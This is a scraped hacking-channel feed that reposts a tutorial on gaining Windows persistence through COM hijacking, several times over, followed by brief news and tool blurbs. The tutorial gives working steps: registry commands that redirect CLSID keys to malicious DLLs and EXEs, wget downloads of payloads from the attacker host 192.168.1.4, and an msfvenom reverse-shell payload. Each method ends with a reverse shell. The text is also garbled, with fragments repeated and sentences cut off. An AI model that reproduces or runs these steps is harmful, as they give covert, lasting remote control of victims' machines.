also has a great added module that can automatically identify scheduled tasks vulnerable to COM Hijacking which can give persistence to the system. Get-ScheduledTaskComHandler -PersistenceLocations https://i0.wp.com/blogger.googleusercontent.com/img/b/R2…
15.png?w=640&ssl=1 InProcServer32: CacheTask (Remote Access to Machine)What we just did above can be done remotely as well. First, we need access to the victim’s powershell (which can be obtained by using Nishang) and then we will use the following code provided by bohops.com found here. To find COM keys vulnerable to hijacking which include InProcServer32 keys we do:
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c dir $p > $null}
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8gmKKdkXxlX0ky-gCmfNNczksVXXzf4tlCNqaceQuzvgJOfrNLt-Rf0CxhYWrps0_PTvK679ImG8Y0rmcuXg_EflaFPEr4G7oE0h0IiaExumn3ESO32QMWwOPZu0-JbbX0AmaDxj-XXvGN-pHPfRnYy2yh8V9R9hxTL2P6UrO9rAGZdii8oCTdOMJgg/s16000/16.png?w=640&ssl=1
Similarly, these results can be stored in a text file using the code:
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$inproc | ForEach {$_.InprocServer32} > ignite.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUugW0XoU5eZZpMaw7c97i2RvkRP7OFn1Hct4UmlkO4nFcoy_X1B6B_ztCClrAXpk5f8tOryAKlpfRNGGJ0CcZFmXi2EoVMACAIt4Az7JYgloSgPmcCej_cuS2Y2EO3QPkOLcKKOzM8xBaU-hZ71mY_xGZmrRSyOC5KY8ITou_6pH7LtoQ91Rx67e3BA/s16000/17.png?w=640&ssl=1
In the enumeration and exploitation example above, we used CacheTask and overridden the wininet.dll by shell.dll
Upon searching wininet.dll in this text file, we see that it exists
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5yjuONxnQRheYD8lrJR3xXv7bfpVycAtXQSPdkkPcTbkreVptI8UPJ30nieURmRL7eiZeNFRZ5kSlebAE4BHavYclfbO_3bjSBl-6Bl6V9vPAaNnkVMfvkfu_zNL0CX212lHwY_MstfvRgOtX-ME8xcHf9H2KnlajKIvm2Ofo8E-OCGvMJO3FN7RheA/s16000/18.png?w=640&ssl=1
We can view CacheTask’s configuration file like so:
cd C:\Windows\System32\Tasks\Microsoft\Windows\Wininet
type CacheTask
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij_z6DLrHt_9oEqraM682pjQ3HHdYtkUYTUxkVGC-i5TkAas3DAc_NDnl841FYvnPRgpkeuavGfL0s0Fh2F40fThoxBO7afLxsA1dmHh-o53MmNJOvaqouM81B__cEFv1rX1pdgqFTWnQhWQnwGFAMd1MMrw7YTX07qm8TZ3lBIAZWdqdssnq4BY1GJA/s16000/19.png?w=640&ssl=1
Now, we have obtained a CLSID. This exists in the HKLM hive. We need to create this in HKCU which can be done using the “reg add” command. And then, we can confirm if it got added using the reg query. Finally, to check if it works, we can restart it and wait for a user to logon
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /d C:\Users\Public\shell.dll
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /v ThreadingModel /d Both
REG QUERY HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32
shutdown -r
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivP_aN6kXUOeW4IdCaMy-CBpZZCbqUIw6M-FJmkmoR40gwLFc6HISCK6h-FJSHMbD_4DGxjBmzIKSMtiTu7Gk41p3wEwLI41Hx5bsT-9hX0xjvSLYtJbr_pfHKWb57tzLTR0F_BthRjOXnS-V7mn07xgmQ5FCaCehyrex3TU5Yxy7CdO1Vh23sqh859Q/s16000/20.png?w=640&ssl=1
Now, when the system restarts and user Harshit logs in again, we will have a reverse shell confirming persistence has been achieved.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmIJTNrosP_Fe5K-pP9roGH4kA5Wpu4cdrrF5hNcfQRCOMWC3CMXMxgqEdA2T0OqrCgyiFnVCLGhc2cYd5h9oCGwCaHdQFqC53bSFd2p1M5mipvA7Dd0SHTwJImN0w47IYNEtG-i1IjJgdBisi-A83cdFxxQRw8a0k1QIuCmJJ614ZHl-YWXZ9KAq6Xg/s16000/21.png?w=640&ssl=1 InProcServer32: Internet Explorer (Remote Access)GDATA provided this method of persistence in a post here. Internet Explorer is widely used in corporate even today. Upon reading its documentation, it was observed that IE uses the following DLL: api-ms-win-downlevel-1×64-l1-1-0._dl
IE’s CLSID exists in: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
This DLL doesn’t exist by default in the system, so, to do[...]
___________________________
@hacking_Attack
@Hacking_Video
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c dir $p > $null}
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8gmKKdkXxlX0ky-gCmfNNczksVXXzf4tlCNqaceQuzvgJOfrNLt-Rf0CxhYWrps0_PTvK679ImG8Y0rmcuXg_EflaFPEr4G7oE0h0IiaExumn3ESO32QMWwOPZu0-JbbX0AmaDxj-XXvGN-pHPfRnYy2yh8V9R9hxTL2P6UrO9rAGZdii8oCTdOMJgg/s16000/16.png?w=640&ssl=1
Similarly, these results can be stored in a text file using the code:
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$inproc | ForEach {$_.InprocServer32} > ignite.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUugW0XoU5eZZpMaw7c97i2RvkRP7OFn1Hct4UmlkO4nFcoy_X1B6B_ztCClrAXpk5f8tOryAKlpfRNGGJ0CcZFmXi2EoVMACAIt4Az7JYgloSgPmcCej_cuS2Y2EO3QPkOLcKKOzM8xBaU-hZ71mY_xGZmrRSyOC5KY8ITou_6pH7LtoQ91Rx67e3BA/s16000/17.png?w=640&ssl=1
In the enumeration and exploitation example above, we used CacheTask and overridden the wininet.dll by shell.dll
Upon searching wininet.dll in this text file, we see that it exists
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5yjuONxnQRheYD8lrJR3xXv7bfpVycAtXQSPdkkPcTbkreVptI8UPJ30nieURmRL7eiZeNFRZ5kSlebAE4BHavYclfbO_3bjSBl-6Bl6V9vPAaNnkVMfvkfu_zNL0CX212lHwY_MstfvRgOtX-ME8xcHf9H2KnlajKIvm2Ofo8E-OCGvMJO3FN7RheA/s16000/18.png?w=640&ssl=1
We can view CacheTask’s configuration file like so:
cd C:\Windows\System32\Tasks\Microsoft\Windows\Wininet
type CacheTask
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij_z6DLrHt_9oEqraM682pjQ3HHdYtkUYTUxkVGC-i5TkAas3DAc_NDnl841FYvnPRgpkeuavGfL0s0Fh2F40fThoxBO7afLxsA1dmHh-o53MmNJOvaqouM81B__cEFv1rX1pdgqFTWnQhWQnwGFAMd1MMrw7YTX07qm8TZ3lBIAZWdqdssnq4BY1GJA/s16000/19.png?w=640&ssl=1
Now, we have obtained a CLSID. This exists in the HKLM hive. We need to create this in HKCU which can be done using the “reg add” command. And then, we can confirm if it got added using the reg query. Finally, to check if it works, we can restart it and wait for a user to logon
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /d C:\Users\Public\shell.dll
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /v ThreadingModel /d Both
REG QUERY HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32
shutdown -r
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivP_aN6kXUOeW4IdCaMy-CBpZZCbqUIw6M-FJmkmoR40gwLFc6HISCK6h-FJSHMbD_4DGxjBmzIKSMtiTu7Gk41p3wEwLI41Hx5bsT-9hX0xjvSLYtJbr_pfHKWb57tzLTR0F_BthRjOXnS-V7mn07xgmQ5FCaCehyrex3TU5Yxy7CdO1Vh23sqh859Q/s16000/20.png?w=640&ssl=1
Now, when the system restarts and user Harshit logs in again, we will have a reverse shell confirming persistence has been achieved.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmIJTNrosP_Fe5K-pP9roGH4kA5Wpu4cdrrF5hNcfQRCOMWC3CMXMxgqEdA2T0OqrCgyiFnVCLGhc2cYd5h9oCGwCaHdQFqC53bSFd2p1M5mipvA7Dd0SHTwJImN0w47IYNEtG-i1IjJgdBisi-A83cdFxxQRw8a0k1QIuCmJJ614ZHl-YWXZ9KAq6Xg/s16000/21.png?w=640&ssl=1 InProcServer32: Internet Explorer (Remote Access)GDATA provided this method of persistence in a post here. Internet Explorer is widely used in corporate even today. Upon reading its documentation, it was observed that IE uses the following DLL: api-ms-win-downlevel-1×64-l1-1-0._dl
IE’s CLSID exists in: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
This DLL doesn’t exist by default in the system, so, to do[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
15.png?w=640&ssl=1 InProcServer32: CacheTask (Remote Access to Machine)What we just did above can be done remotely as well. First, we need access to the victim’s powershell (which can be obtained by using Nishang) and then we will use the following code provided…
COM hijacking, we will create the following folder and add this DLL here.
C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
Now, to execute this attack, we need to override the IE CLSID by referring to that CLSID in HKCU hive as we did in the example above.
First, let’s create a new malicious DLL file and name it “api-ms-win-downlevel-1×64-l1-1-0._dl”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8tQzPVE7Z3sTKTiwi--tO2kbHtT1kIA2ImSxgiWPnDiXyWgJmeAUDzZqgQ_iZzKQ8MxcKWmPEk81RF6aKX1ETDt5ombkPSUZt40XwFLn7-lmLzqGQDQ1mHU5ZXijfyPMpi7weWXQx4z4kx-XWnAcn-HRoQa3Hibe_TeXgzxuiHTMAgcutA2Ps43pjQQ/s16000/22.png?w=640&ssl=1
Now, we create the folder: C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
cd c:\users\harshit\appdata\roaming\microsoft
mkdir installer
cd installer
mkdir {BCDE0395-E52F-467C-8E3D-C4579291692E}
cd {BCDE0395-E52F-467C-8E3D-C4579291692E}
powershell wget 192.168.1.4/ api-ms-win-downlevel-1×64-l1-1-0._dl -O api-ms-win-downlevel-1×64-l1-1-0._dl
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE6RMSCLYoB7E6Aq5HViGPbaM5nGndaKLdNit_r2midqexgB-Eeaw-OISnD0Y-4Zrcu3gEtLirtbmo3PcWPw79BGZwMXe-0ch14gD5T6XondQK8nrouu3MXp4co2OVHZW1ZhuhYRjGQ_Hh__bUWQjiO8S7W3eOv9Qg4GnZ33KKAIB5Dw6RBCwH_D1mcA/s16000/23.png?w=640&ssl=1
Now, we will add the IE CLSID reference in HKCU.
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /d C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /v ThreadingModel /d Apartment
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi3xNeXUW7OJBfIp6IlofI8DtQaWfXuvjQR3_LWlVjsMVMEUEGHdAPBCRN0XYsuPgiKQS7Z9e_6kruHw-5ejmI7JgQpDb7gbz1PZKs9Tn1QbH4fU0HCxV7yJYBngvrIZOM-RDzPeVWE3SgKU2tBzDzyklC1s6p1X8Fic1KOLxmFQQkVONfDDtfRu0liA/s16000/24.png?w=640&ssl=1
Once the COM hijacking has been done, as soon as IE launches, we will receive a reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitk7EN5YeHsEZOn8kzojjrwaeArDKm4_SgctM_9uN2bCzoyWAueR8LtD1xk6Mu7LBvpVn-Vn0dIFZN06UtiWKlETLRB5jlBk49iMrjjYyWt4rRG14Gu7MZdjOX6X5tLJEt7QWkSo5HDxj6pY174Ic6_o0qc7BR_ftDdkDzQGub8Bm5wZHOab8t2dUzAQ/s16000/25.png?w=640&ssl=1 LocalServer32: Remote Access to MachineThe LocalServer32 key represents a path to an executable (exe) implementation of a process, meaning that when an application is run, it refers to the COM keys and executes an EXE file.
To find all the hijackable localserver32 COM keys, the following procmon filters can be used:
* Operation is RegOpenKey Include
* Result is NAME NOT FOUND Include
* Path ends with LocalServer32 Include
* Path begins with HKLM Exclude
But since, we are using the remote machine, the following code can be used. The output result contains all the files that contain an empty reference to a file that doesn’t exist on the drive. As we can see, an interesting file has appeared. This file is called igniteserver.exe and refers to a World writable directory (/Users/Public). Means that an attacker can put his own malicious file on this directory with the name igniteserver.exe.
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > ignite.txt
type ignite.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTeSaN3hUUpoUF2JDwWg-bFNjnA-Qg_3umW_bxuciJNx2CVYtsJekteIT1uJsp8Sk4PmMJnzygD-GzQCekHCDopBppenVeZ1JC5qfcqx9rwAxXWZDyJhmhglDRYrjV7_3lNxmLzJ3n2tSz-owvfpsDZeeUl1ISY8LzUwuaWg87hjaDz4N-WVMeDEfXWQ/s16000/26.png?w=640&ssl=1
We can manually inspect other files too to see which files are vulnerable to COM hijacking and use SMB to copy malicious files with the same names on the directories.
Now, we need to obtain the CLSID of this exe. Thi[...]
___________________________
@hacking_Attack
@Hacking_Video
C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
Now, to execute this attack, we need to override the IE CLSID by referring to that CLSID in HKCU hive as we did in the example above.
First, let’s create a new malicious DLL file and name it “api-ms-win-downlevel-1×64-l1-1-0._dl”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8tQzPVE7Z3sTKTiwi--tO2kbHtT1kIA2ImSxgiWPnDiXyWgJmeAUDzZqgQ_iZzKQ8MxcKWmPEk81RF6aKX1ETDt5ombkPSUZt40XwFLn7-lmLzqGQDQ1mHU5ZXijfyPMpi7weWXQx4z4kx-XWnAcn-HRoQa3Hibe_TeXgzxuiHTMAgcutA2Ps43pjQQ/s16000/22.png?w=640&ssl=1
Now, we create the folder: C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
cd c:\users\harshit\appdata\roaming\microsoft
mkdir installer
cd installer
mkdir {BCDE0395-E52F-467C-8E3D-C4579291692E}
cd {BCDE0395-E52F-467C-8E3D-C4579291692E}
powershell wget 192.168.1.4/ api-ms-win-downlevel-1×64-l1-1-0._dl -O api-ms-win-downlevel-1×64-l1-1-0._dl
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE6RMSCLYoB7E6Aq5HViGPbaM5nGndaKLdNit_r2midqexgB-Eeaw-OISnD0Y-4Zrcu3gEtLirtbmo3PcWPw79BGZwMXe-0ch14gD5T6XondQK8nrouu3MXp4co2OVHZW1ZhuhYRjGQ_Hh__bUWQjiO8S7W3eOv9Qg4GnZ33KKAIB5Dw6RBCwH_D1mcA/s16000/23.png?w=640&ssl=1
Now, we will add the IE CLSID reference in HKCU.
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /d C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /v ThreadingModel /d Apartment
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi3xNeXUW7OJBfIp6IlofI8DtQaWfXuvjQR3_LWlVjsMVMEUEGHdAPBCRN0XYsuPgiKQS7Z9e_6kruHw-5ejmI7JgQpDb7gbz1PZKs9Tn1QbH4fU0HCxV7yJYBngvrIZOM-RDzPeVWE3SgKU2tBzDzyklC1s6p1X8Fic1KOLxmFQQkVONfDDtfRu0liA/s16000/24.png?w=640&ssl=1
Once the COM hijacking has been done, as soon as IE launches, we will receive a reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitk7EN5YeHsEZOn8kzojjrwaeArDKm4_SgctM_9uN2bCzoyWAueR8LtD1xk6Mu7LBvpVn-Vn0dIFZN06UtiWKlETLRB5jlBk49iMrjjYyWt4rRG14Gu7MZdjOX6X5tLJEt7QWkSo5HDxj6pY174Ic6_o0qc7BR_ftDdkDzQGub8Bm5wZHOab8t2dUzAQ/s16000/25.png?w=640&ssl=1 LocalServer32: Remote Access to MachineThe LocalServer32 key represents a path to an executable (exe) implementation of a process, meaning that when an application is run, it refers to the COM keys and executes an EXE file.
To find all the hijackable localserver32 COM keys, the following procmon filters can be used:
* Operation is RegOpenKey Include
* Result is NAME NOT FOUND Include
* Path ends with LocalServer32 Include
* Path begins with HKLM Exclude
But since, we are using the remote machine, the following code can be used. The output result contains all the files that contain an empty reference to a file that doesn’t exist on the drive. As we can see, an interesting file has appeared. This file is called igniteserver.exe and refers to a World writable directory (/Users/Public). Means that an attacker can put his own malicious file on this directory with the name igniteserver.exe.
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > ignite.txt
type ignite.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTeSaN3hUUpoUF2JDwWg-bFNjnA-Qg_3umW_bxuciJNx2CVYtsJekteIT1uJsp8Sk4PmMJnzygD-GzQCekHCDopBppenVeZ1JC5qfcqx9rwAxXWZDyJhmhglDRYrjV7_3lNxmLzJ3n2tSz-owvfpsDZeeUl1ISY8LzUwuaWg87hjaDz4N-WVMeDEfXWQ/s16000/26.png?w=640&ssl=1
We can manually inspect other files too to see which files are vulnerable to COM hijacking and use SMB to copy malicious files with the same names on the directories.
Now, we need to obtain the CLSID of this exe. Thi[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
COM hijacking, we will create the following folder and add this DLL here. C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E} Now, to execute this attack, we need to override the IE CLSID by referring to that CLSID…
s can be obtained using the reg query command:
reg query HKEY_CLASSES_ROOT\CLSID /s /f igniteserver
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifij8JvUcJphzQEqOrAxOEMspEp_5bOhg-Tkb7KYcCrxi2z0OObLJF6BGI9VDQZ_W-uoGIdvOnmDkucWQ980LdcDBv3SaTr1GxaiAa_wmq9pvego3bN0r17qcpgixp48V_raPOOOAItV1W7WV10i0GeZ7Yh1vNZr5HXQHd0gazbFfWpqHuTtQk3VBiJA/s16000/27.png?w=640&ssl=1
We have obtained the CLSID reference of this COM object which is 05EAE363-122A-445A-97B6-3DE890E786F8. This can be confirmed in regedit.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC36CeYaUnSiTXxTypHP8zPQvZ_D9AyGxPNmFgiIize0vQu-h2jTC-k_WnTOSpB9cKE_jUCRJ2lCYS2KxS776N-xLo_5K5okz8hSUgur7tLXUJbL3sHWRt7crGI__GP5l0oxb_QQN8Igzen57cpERhhfBkfn1IUafdJ88je110NMDCh9NNKKQV3vs0mg/s16000/28.png?w=640&ssl=1
Now, we need to create an EXE with name igniteserver.exe
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.1.4 lport=1337 -f exe > igniteserver.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKxW74CWorL3ptwc0TSjajybGSR2aBj--1PtSwE5iy0rWn-gLuHYVDxv-0CNNp0oTjrFhPdxzIOnWB66FuxqjgZDDv6ZzXe1HOolzPQdBvii_EMWs_Pce4pVjyvYa3DMwtNrnPSzEcA_AsVtEcy-64l8Itf7oZA5eOM2CBNkFnn_4v8Jrg26cVgYekpQ/s16000/29.png?w=640&ssl=1
Now we need to transfer it to the desired location (C:\Users\Public)
wget 192.168.1.4/igniteserver.exe -O igniteserver.ex
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoaew6UFPwrnn7mQ_U8XarAVi8J5jNVTIup9X3nQ9Hia_FbBmPidnLvYHeYAUkSbOMtGp8uplqwJUoME9eN_F1vxSBhT7oNj9P91G6C5lehZIEVptBSnaC0oIw97zXluaaCzlE4vp3i-mZ252vuKu9xBNax_2puitBFK90WuCp1IyfGfzQRXMWETg7rg/s16000/30.png?w=640&ssl=1
Whenever an application will activate the COM object using this command, we will get persistence. If the application is run as admin we might escalate our privileges as well!
Now, the application which activates this COM object is using the create instance command in the respective programming language. We are just simulating the same using Powershell like so:
[activator]::CreateInstance([type]::GetTypeFromCLSID("{05EAE363-122A-445A-97B6-3DE890E786F8}"))
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVl5f9FAuKGqzfdEnZPMIG-4KmArQl78_-rp89Z2U2pepHG1xXfKoZ2vcPkWxUhsE0jkU3lLOS5TRCnbLuBUI6b87F4gyfzKduMhR6JhkhilYFrKubrwkH-Pd3EExrPC0kwZv_CU-gIkziDcvhJUWGEUZiDUe_4xDtTt-ULUCvQSpGf-BG_jdPfKbh1g/s16000/31.png?w=640&ssl=1
As soon as the application creates this instance and runs the COM key reference, we get our reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHXkJmkVAyIKU9X-vodAZwKmfcvEamVj3Cw3waT9R5EgjXhjTR_c44W63rZHIg8Ge0kr41P4k1lzOkxcPY1YtpvD3Wlj_rBOLVT9Nf7h_m5V0HaVid8eRCnyGLChKs9uDdNV5_v2xzr029u93zOe8gZuDLxCJNG5LwfVnVtvJBFQBueplRHMOts-Oa-Q/s16000/32.png?w=640&ssl=1 ConclusionIn the article, we saw a demonstration of how we can use hijackable COM keys (that miss references to libraries) to gain persistence. We saw two methods InProcServer32 and LocalServer32 that are used by applications to run libraries in a process. Since the execution of these libraries is automated, replacing them with our malicious file would mean automated execution of our code as soon as the related application starts. In the InProcServer32 method, we create another reference to the same COM key existing in HKLM, in HKCU and override the execution. On the other hand, in the LocalServer32 method, we replace an EXE reference with our malicious one. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Windows Persistence: COM Hijacking (MITRE: T1546.015) appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
reg query HKEY_CLASSES_ROOT\CLSID /s /f igniteserver
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifij8JvUcJphzQEqOrAxOEMspEp_5bOhg-Tkb7KYcCrxi2z0OObLJF6BGI9VDQZ_W-uoGIdvOnmDkucWQ980LdcDBv3SaTr1GxaiAa_wmq9pvego3bN0r17qcpgixp48V_raPOOOAItV1W7WV10i0GeZ7Yh1vNZr5HXQHd0gazbFfWpqHuTtQk3VBiJA/s16000/27.png?w=640&ssl=1
We have obtained the CLSID reference of this COM object which is 05EAE363-122A-445A-97B6-3DE890E786F8. This can be confirmed in regedit.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC36CeYaUnSiTXxTypHP8zPQvZ_D9AyGxPNmFgiIize0vQu-h2jTC-k_WnTOSpB9cKE_jUCRJ2lCYS2KxS776N-xLo_5K5okz8hSUgur7tLXUJbL3sHWRt7crGI__GP5l0oxb_QQN8Igzen57cpERhhfBkfn1IUafdJ88je110NMDCh9NNKKQV3vs0mg/s16000/28.png?w=640&ssl=1
Now, we need to create an EXE with name igniteserver.exe
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.1.4 lport=1337 -f exe > igniteserver.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKxW74CWorL3ptwc0TSjajybGSR2aBj--1PtSwE5iy0rWn-gLuHYVDxv-0CNNp0oTjrFhPdxzIOnWB66FuxqjgZDDv6ZzXe1HOolzPQdBvii_EMWs_Pce4pVjyvYa3DMwtNrnPSzEcA_AsVtEcy-64l8Itf7oZA5eOM2CBNkFnn_4v8Jrg26cVgYekpQ/s16000/29.png?w=640&ssl=1
Now we need to transfer it to the desired location (C:\Users\Public)
wget 192.168.1.4/igniteserver.exe -O igniteserver.ex
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoaew6UFPwrnn7mQ_U8XarAVi8J5jNVTIup9X3nQ9Hia_FbBmPidnLvYHeYAUkSbOMtGp8uplqwJUoME9eN_F1vxSBhT7oNj9P91G6C5lehZIEVptBSnaC0oIw97zXluaaCzlE4vp3i-mZ252vuKu9xBNax_2puitBFK90WuCp1IyfGfzQRXMWETg7rg/s16000/30.png?w=640&ssl=1
Whenever an application will activate the COM object using this command, we will get persistence. If the application is run as admin we might escalate our privileges as well!
Now, the application which activates this COM object is using the create instance command in the respective programming language. We are just simulating the same using Powershell like so:
[activator]::CreateInstance([type]::GetTypeFromCLSID("{05EAE363-122A-445A-97B6-3DE890E786F8}"))
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVl5f9FAuKGqzfdEnZPMIG-4KmArQl78_-rp89Z2U2pepHG1xXfKoZ2vcPkWxUhsE0jkU3lLOS5TRCnbLuBUI6b87F4gyfzKduMhR6JhkhilYFrKubrwkH-Pd3EExrPC0kwZv_CU-gIkziDcvhJUWGEUZiDUe_4xDtTt-ULUCvQSpGf-BG_jdPfKbh1g/s16000/31.png?w=640&ssl=1
As soon as the application creates this instance and runs the COM key reference, we get our reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHXkJmkVAyIKU9X-vodAZwKmfcvEamVj3Cw3waT9R5EgjXhjTR_c44W63rZHIg8Ge0kr41P4k1lzOkxcPY1YtpvD3Wlj_rBOLVT9Nf7h_m5V0HaVid8eRCnyGLChKs9uDdNV5_v2xzr029u93zOe8gZuDLxCJNG5LwfVnVtvJBFQBueplRHMOts-Oa-Q/s16000/32.png?w=640&ssl=1 ConclusionIn the article, we saw a demonstration of how we can use hijackable COM keys (that miss references to libraries) to gain persistence. We saw two methods InProcServer32 and LocalServer32 that are used by applications to run libraries in a process. Since the execution of these libraries is automated, replacing them with our malicious file would mean automated execution of our code as soon as the related application starts. In the InProcServer32 method, we create another reference to the same COM key existing in HKLM, in HKCU and override the execution. On the other hand, in the LocalServer32 method, we replace an EXE reference with our malicious one. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Windows Persistence: COM Hijacking (MITRE: T1546.015) appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
New WatchGuard Threat Lab Report Shows Network Attacks at Highest Point Over Last Three Years
Network detections in EMEA quadrupled, with malware detections occurring at nearly twice the rate as the rest of the world.
___________________________
@hacking_Attack
@Hacking_Video
New WatchGuard Threat Lab Report Shows Network Attacks at Highest Point Over Last Three Years
Network detections in EMEA quadrupled, with malware detections occurring at nearly twice the rate as the rest of the world.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
New WatchGuard Threat Lab Report Shows Network Attacks at Highest Point Over Last Three Years
Network detections in EMEA quadrupled, with malware detections occurring at nearly twice the rate as the rest of the world.
KNX-Bus-Dump - A Tool To Listen On A KNX Bus Via TPUART And The Calimero Project Suite And To Dump The Data From The Packets Into A Wireshark-Compatible File Hex Dump
http://www.kitploit.com/2022/04/knx-bus-dump-tool-to-listen-on-knx-bus.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2022/04/knx-bus-dump-tool-to-listen-on-knx-bus.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
KNX-Bus-Dump - A Tool To Listen On A KNX Bus Via TPUART And The Calimero Project Suite And To Dump The Data From The Packets Into…
